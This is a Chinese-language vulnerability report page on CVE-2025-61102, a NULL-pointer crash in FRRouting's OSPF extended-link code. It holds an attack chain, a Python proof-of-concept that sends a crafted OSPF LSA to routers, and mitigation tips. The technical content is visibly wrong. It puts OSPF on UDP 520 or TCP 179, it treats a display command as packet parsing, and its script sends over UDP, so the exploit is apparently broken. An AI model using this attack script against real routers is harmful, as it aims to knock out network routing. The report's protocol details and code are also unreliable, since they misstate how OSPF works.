IPBUF安全漏洞报告
English
CVE-2025-61102 CVSS 7.5 高危

CVE-2025-61102 FRRouting ospf_ext.c NULL指针解引用拒绝服务漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-61102
漏洞类型
NULL指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FRRouting/frr

相关标签

NULL指针解引用拒绝服务FRRoutingFRRouting/frrOSPF协议路由器漏洞CVE-2025-61102网络设备安全路由协议漏洞高危漏洞

漏洞概述

CVE-2025-61102是FRRouting/frr软件中的一个高危安全漏洞,CVSS评分7.5。该漏洞存在于ospf_ext.c文件的show_vty_ext_link_adj_sid函数中,由于未对指针进行充分的有效性检查,导致NULL指针解引用问题。攻击者可通过网络发送精心构造的OSPF数据包来触发此漏洞,造成FRRouting服务崩溃,从而导致路由器拒绝服务。FRRouting是一款开源的IP路由协议套件,广泛应用于企业网络和互联网服务提供商环境中,支持OSPF、BGP、RIP等多种路由协议。由于OSPF协议通常在网络核心设备间运行,此漏洞可能对网络基础设施的可用性造成严重影响。攻击者无需认证即可利用此漏洞,这大大增加了其危害性。

技术细节

该漏洞的根本原因在于ospf_ext.c文件中的show_vty_ext_link_adj_sid函数在处理OSPF扩展链路Adj-SID信息时,未对相关指针进行NULL检查。当FRRouting解析接收到的OSPF数据包时,如果数据包中的扩展链路Adj-SID字段包含异常值或被精心构造,函数可能在未验证指针有效性的情况下直接访问,导致程序尝试读取或写入NULL地址,引发段错误(Segmentation Fault)并使进程崩溃。攻击者只需构造一个符合OSPF协议格式但包含恶意Adj-SID信息的LSA(Link State Advertisement)数据包,并将其发送到受影响设备的OSPF端口(通常为UDP 520或TCP 179),即可触发漏洞。由于OSPF协议的无状态特性和广播/多播机制,攻击者可能同时影响多个邻居路由器,形成更大范围的拒绝服务。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别运行FRRouting frr v4.0-v10.4.1版本的路由器,确认其OSPF协议处于活动状态
STEP 2
步骤2
准备阶段:攻击者构造包含恶意Extended Link Adj-SID信息的OSPF LSA数据包,该数据包设计用于触发ospf_ext.c中的NULL指针解引用
STEP 3
步骤3
传输阶段:攻击者将精心构造的OSPF数据包发送到目标路由器的OSPF端口(UDP 520)或通过OSPF多播地址(224.0.0.5)发送
STEP 4
步骤4
触发阶段:FRRouting接收到恶意数据包后,show_vty_ext_link_adj_sid函数尝试访问NULL指针地址,导致程序崩溃
STEP 5
步骤5
影响阶段:FRRouting进程终止,路由器失去路由能力,无法转发数据包,造成网络中断和拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61102 PoC - FRRouting NULL Pointer Dereference in OSPF Extended Adj-SID # This PoC demonstrates sending a crafted OSPF LSA with malicious Extended Link Adj-SID # Target: FRRouting frr v4.0 - v10.4.1 import socket import struct import sys def build_crafted_ospf_lsa(): """Construct a malicious OSPF LSA with crafted Extended Adj-SID""" # OSPF Header version = 2 # OSPFv2 msg_type = 4 # LSA Update packet_length = 0 # Will be calculated router_id = b'\xc0\xa8\x01\x01' # Attacker router ID area_id = b'\xc0\xa8\x01\x00' # Area 0.0.0.0 checksum = 0 auth_type = 0 auth = b'\x00' * 8 ospf_header = struct.pack('!BBH4s4sHH', version, msg_type, 0, router_id, area_id, checksum, auth_type) + auth # Number of LSAs num_lsas = 1 # Router LSA (Type 1) with crafted Extended Link lsa_age = 1 lsa_type = 1 # Router-LSA link_state_id = router_id advertising_router = router_id lsa_sequence = 0x80000001 lsa_checksum = 0 length = 0 # Will be calculated # LSA header lsa_header = struct.pack('!HH4s4sIHH', lsa_age, lsa_type, link_state_id, advertising_router, lsa_sequence, lsa_checksum, length) # Router LSA body - Flags and options flags = 0 options = 0x22 lsa_body = struct.pack('!BB', flags, options) # Crafted link that triggers NULL dereference in show_vty_ext_link_adj_sid # Link type: 2 (Transit network) link_type = 2 link_id = b'\xc0\xa8\x02\x01' # Designated Router IP link_data = b'\xff\xff\xff\x00' # Subnet mask tos_count = 0 metric = 100 link = struct.pack('!B4s4sBBH', link_type, link_id, link_data, tos_count, metric, 0) # Last 0 is for TLV count # Extended Link TLV with NULL pointer trigger # TLV type for Extended Link: 2 # This malformed TLV causes NULL pointer in show_vty_ext_link_adj_sid ext_link_tlv_type = 2 ext_link_tlv_length = 4 ext_link_tlv_value = b'\x00' * 4 # Malformed value ext_link_tlv = struct.pack('!HH', ext_link_tlv_type, ext_link_tlv_length) + ext_link_tlv_value # Complete LSA lsa = lsa_header + lsa_body + link + ext_link_tlv # Update lengths lsa = lsa[:16] + struct.pack('!H', len(lsa)) + lsa[18:] # OSPF Header update ospf_header = ospf_header[:2] + struct.pack('!H', len(ospf_header) + 4 + len(lsa)) + ospf_header[4:] return ospf_header + struct.pack('!I', num_lsas) + lsa def send_crafted_packet(target_ip, router_id): """Send the crafted OSPF packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_TTL, 2) payload = build_crafted_ospf_lsa() # OSPF multicast address multicast_addr = '224.0.0.5' # AllSPFRouters print(f"[*] Sending crafted OSPF LSA to {target_ip}") print(f"[*] Target: FRRouting frr v4.0 - v10.4.1") print(f"[*] Payload size: {len(payload)} bytes") sock.sendto(payload, (multicast_addr, 520)) sock.close() print("[+] Packet sent successfully") print("[*] Target should crash due to NULL pointer dereference") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-61102-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_crafted_packet(target, None)

影响范围

FRRouting/frr v4.0
FRRouting/frr v4.1
FRRouting/frr v4.2
FRRouting/frr v4.3
FRRouting/frr v4.4
FRRouting/frr v4.5
FRRouting/frr v4.6
FRRouting/frr v5.0
FRRouting/frr v6.0
FRRouting/frr v7.0
FRRouting/frr v7.5
FRRouting/frr v8.0
FRRouting/frr v8.1
FRRouting/frr v8.2
FRRouting/frr v8.3
FRRouting/frr v8.4
FRRouting/frr v8.5
FRRouting/frr v9.0
FRRouting/frr v9.1
FRRouting/frr v10.0
FRRouting/frr v10.1
FRRouting/frr v10.2
FRRouting/frr v10.3
FRRouting/frr v10.4
FRRouting/frr v10.4.1

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1)禁用不必要的OSPF邻居关系,限制OSPF通信范围;2)配置OSPF认证确保只有授权路由器能参与路由协议;3)使用ACL限制对UDP 520端口的访问,仅允许可信的路由器IP地址;4)启用FRRouting的日志记录功能,监控show命令执行时的异常行为;5)考虑使用iptables/firewalld规则过滤异常的OSPF数据包;6)监控路由器资源使用情况,发现进程异常终止时及时告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表